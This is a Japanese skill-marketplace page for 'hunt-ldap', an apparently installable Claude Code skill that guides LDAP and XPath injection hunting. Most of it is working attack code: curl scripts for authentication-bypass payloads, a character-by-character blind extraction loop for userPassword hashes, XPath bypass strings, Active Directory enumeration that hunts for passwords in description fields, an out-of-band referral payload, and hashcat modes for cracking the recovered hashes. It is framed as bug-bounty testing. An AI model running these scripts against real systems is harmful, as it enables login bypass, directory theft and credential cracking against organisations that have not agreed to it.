mcpField
H
hunt-ldap

hunt-ldap

github.com/elementalsoulsセキュリティ5.3k245 回インストール今日更新
リポジトリ

hunt-ldap について

セキュリティテスター向けの LDAP・XPath インジェクション調査スキルです。認証回避、ブラインドインジェクション、ディレクトリ列挙を扱い、Active Directory と一般的な LDAP の属性の違いも説明します。

主な機能

  1. 01LDAP バックエンドと注入の兆候を確認
  2. 02LDAP 認証回避をテスト
  3. 03制御された応答でブラインド注入を評価
  4. 04XML 認証で XPath インジェクションを確認
  5. 05AD と一般的な LDAP の可読属性を区別

活用シーン

  1. 01ログインやディレクトリ検索機能の注入リスクを評価
  2. 02ブラインド注入で可読属性を取得できるか検証
  3. 03Active Directory のユーザーとグループ情報を列挙

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-ldap

インストール後、Claude Code で/hunt-ldapを入力して読み込まれたか確認します。

詳細

HUNT-LDAP — LDAP インジェクションと XPath インジェクション

根拠に関する注記:LDAP インジェクションは、公開プラットフォームでペイロードをそのまま開示されることはほとんどありません(その多くは社内ペンテストのレポートに記載されています)。このスキルの根拠は、架空の HackerOne ID ではなく、公開情報として検証可能な OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06)、PortSwigger Web Security Academy (LDAP injection)、および RFC 4515 のフィルター文法です。リンクできないレポートを引用しないでください。

重要な標的

認証を迂回する LDAP インジェクション = Critical。認証情報やシークレットのブラインド属性抽出 = High。AD の列挙のみ = Medium-High。

価値の高い攻撃チェーン:

  • LDAP 認証の迂回 — uid フィルターを閉じ、常に真となる OR を追加して、有効なパスワードなしで bind/search が管理者エントリーを返すようにします。
  • ブラインド属性抽出 — ブール値オラクル(ログインの成功/失敗、結果数、または応答の長さ)を使って、属性値を1文字ずつ抽出します。
  • userPassword ハッシュの抽出(非 AD のみ) — OpenLDAP/389-DS では、userPassword 属性に {SSHA}/{CRYPT} ハッシュが格納されている場合があり、クエリーで読み取れます。以下の AD と汎用 LDAP に関する警告を参照してください。
  • XPath インジェクションによる認証の迂回 — XML ベースの認証に対して ' or '1'='1 を使います。

重大 — Active Directory と汎用 LDAP の違い

この2つを混同しないでください。動作は大きく異なります。

汎用 LDAP(OpenLDAP、389-DS、ApacheDS)Active Directory
パスワード属性userPassword — {SSHA}/{MD5}/{CRYPT} を格納する場合があり、ACL で許可されていれば読み取り可能unicodePwd — 書き込み専用で、検索結果として返されることはありません
インジェクションによるハッシュ抽出ACL によって userPassword が漏えいする場合は可能不可能 — LDAP 経由で読み取り可能なハッシュ属性はありません
列挙に役立つ属性uid、cn、mail、userPasswordsAMAccountName、userPrincipalName、mail、memberOf、description(平文のシークレットが格納されていることもよくあります!)

ブラインド LDAP インジェクションで AD のパスワードハッシュを取得できる、と読者に伝えないでください。取得できません。 unicodePwd は書き込み専用です。AD で有効なのは、列挙(sAMAccountName、memberOf、管理者がパスワードの保存に誤用する description/info フィールド)と認証の迂回であり、ハッシュのダンプではありません。ハッシュ抽出の手法は、userPassword を公開する非 AD ディレクトリに限られます。


攻撃対象領域の兆候

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP フィルター文法(RFC 4515)— インジェクションが成立する理由

ログインフィルターは通常、文字列連結で構築されます。

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND、| = OR、! = NOT です。フィルターは前置記法(ポーランド記法)で、演算子が先頭に置かれ、すべてのサブフィルターが括弧で囲まれます。インジェクションを行うには、(a) 現在の (uid=...) グループをエスケープし、(b) 独自のロジックを注入し、(c) 括弧の数を全体で一致させる必要があります。一致しないと、サーバーは実行せず、フィルター構文エラーを返します。

特殊文字セット — 1つずつテストする

これらの文字には構文上の意味があり、安全なアプリではエスケープする必要があります(RFC 4515 §3)。生のまま送信したときにアプリがエラーを返す、または動作が変わる場合、入力はエスケープされていないため、インジェクション可能です。

文字フィルターでのエスケープ重要な理由
*\2aワイルドカード — 任意の値に一致します
(\28フィルターグループを開始します
)\29フィルターグループを閉じます
\\5cエスケープ文字そのものです
NUL\00文字列終端文字 — C ベースのサーバーではフィルターを途中で切り詰めます
/(DN コンテキスト)RDN の区切り文字 — DN インジェクションで関係します

検索フィルターのコンテキストと DN インジェクションは異なる脆弱性です。

  • 検索フィルターインジェクション(最も一般的):入力が (attr=VALUE) フィルター内に入ります。ペイロードでは * ( ) & | ! を使います。
  • DN インジェクション:入力が識別名(uid=VALUE,ou=people,dc=corp)に連結されます。この場合は , = + " \ < > ; と / が重要で、* はワイルドカードではありません。両方をテストしてください。ペイロードを相互に使い回すことはできません。

段階的なハンティング手法

フェーズ 1 — LDAP バックエンドの確認(まずはベースライン)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

単独の ) で構文エラー/500 が発生し、括弧の対応が取れたペイロードでは発生しない場合、LDAP インジェクションを示す最も明確な兆候です。証拠として必要になるため、記録しておいてください。

フェーズ 2 — 認証バイパスのペイロード(括弧の対応を取る)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

括弧の対応を取る際の経験則: ペイロードだけでなく、最終的なフィルター全体で ( の数から ) の数を引いて数えてください。アプリが入力の後ろに )(userPassword=...)) を追加する場合は、最終的な文字列の括弧の対応が取れるよう、末尾に適切な数の ) を残してください。括弧の対応が取れていないフィルターは構文エラーになるため、バイパスではありません(誤検知です)。

フェーズ 3 — 制御されたオラクルによるブラインド抽出(生のバイト数ではなく)

生の size_download の差分比較には、WAF のバナー、CSRF トークン、タイムスタンプ、注入した文字自体による長さの変動などのノイズが入りやすくなります。オラクルを絶対サイズではなくレスポンスにするため、真/偽のペア対照を使用してください。

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

ブラインド抽出の誤検知を防ぐ対策:

  • 真となる各文字を 3 回繰り返し、サイズが安定していることを確認してください。攻撃者が制御する文字自体による長さの変動は、誤検知の最大の原因です。
  • 各ラウンドの後も、偽の対照が偽のサイズを返すことを確認してください(アプリが単にすべてのリクエストでエラーを返すようになったわけではありません。WAF によるブロックが一致のように見えることがあります)。
  • 本文の長さが信頼できない場合は、オラクルを HTTP ステータス、本文のマーカー文字列("Invalid credentials" があるかどうか)、または時間差を利用する重いフィルターに切り替えてください。ただし、安定したベースライン差分を確認してからにしてください。
フェーズ 4 — XPath インジェクション(XML ベースの認証)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
フェーズ 5 — ワイルドカードによる AD 列挙(対照付きカウントオラクル)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here
フェーズ 6 — ツールと OOB による確認
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

攻撃チェーン表

LDAP の発見事項チェーン先影響
認証バイパス(常に真となるフィルター)ディレクトリの最初のエントリとして管理者/SSO パネルにアクセス重大
AD 列挙(sAMAccountName)ユーザー名リスト → パスワードスプレー/認証情報スタッフィング大規模な ATO リスク
memberOf の列挙ドメイン管理者を特定 → 標的型フィッシング/スプレー標的型侵害
description/info フィールドの読み取り管理者がそこに保存した平文の認証情報認証情報の直接漏えい
userPassword のブラインド抽出 (AD 以外のみ){SSHA}(ソルト付き SHA-1)→ hashcat -m 111({SSHA256}=1411、{SSHA512}=1711);{CRYPT} → モードは $id$ プレフィックスによって異なります($1$=500、$6$=1800)→ オフラインでクラック高
LDAP リファラル → Collaboratorサーバー側リクエスト/内部ディレクトリへの到達SSRF クラス、ブラインドの確認

AD には読み取り可能なパスワード属性がありません。「AD ハッシュの抽出」を攻撃チェーンとして 挙げないでください。AD に対する認証情報の取得は、description/info の誤用、または 列挙したユーザー名を使ったスプレーによるものであり、unicodePwd によるものではありません。


検証 — 報告する前に誤検知を除外する

「バイパス」または「一致」が本物と言えるのは、構文エラー、 WAF によるブロック、長さの揺らぎによる説明を排除してからです。

  • 認証バイパス: 常に true となるペイロードが、有効な認証済み セッション(セッション Cookie +ログイン後のリソースへのアクセス)を返し、同じ リクエストで括弧を 1 つ取り除くとフィルター構文エラーが返ります。これにより、フィルターが解析され実行されたことを確認できます。アプリがすべての入力で無条件にアクセスを許可したということではありません。
  • ネガティブコントロール: 同等の形式で論理的に FALSE となるペイロード ()(uid=NONEXISTENT_ZZZ))が失敗レスポンスを返します。true の分類と false の分類の両方が「成功」する場合、見つけたのは LDAP インジェクションではなく、壊れたエンドポイントです。
  • ブラインド抽出: 復元した各文字を、サイズが安定した状態で 3 回再現できます。ラウンドの間も FALSE コントロールが FALSE と判定されます。復元した値は、直接検索するか、その値を使う認証バイパスペイロードで検証します。
  • XPath: 引用符と角括弧の対応が保たれ(500 エラーが発生せず)、バイパスによって実際のアカウントコンテキストにログインできています。単に別のエラーページが表示されただけではありません。
  • 可能な場合は OOB: 紹介ペイロードによる Collaborator の DNS/LDAP インタラクションは、ブラインドケースで決定的な証拠になります。長さだけに基づく推測よりも、こちらを優先してください。
  • AD に関する主張の原則: 「AD」と述べる場合は、AD 固有の属性(sAMAccountName/memberOf)を列挙してください。AD ハッシュを抽出したと主張してはいけません。

深刻度:

  • 管理者または特権ディレクトリエントリとして認証バイパスに成功:Critical
  • userPassword ハッシュの抽出(非 AD)、または description フィールドからの認証情報の読み取り:High
  • AD ユーザー/グループの列挙のみ:Medium-High
  • ブラインドの真偽オラクルを確認済みだが、有用な属性にアクセスできない:Medium

コメント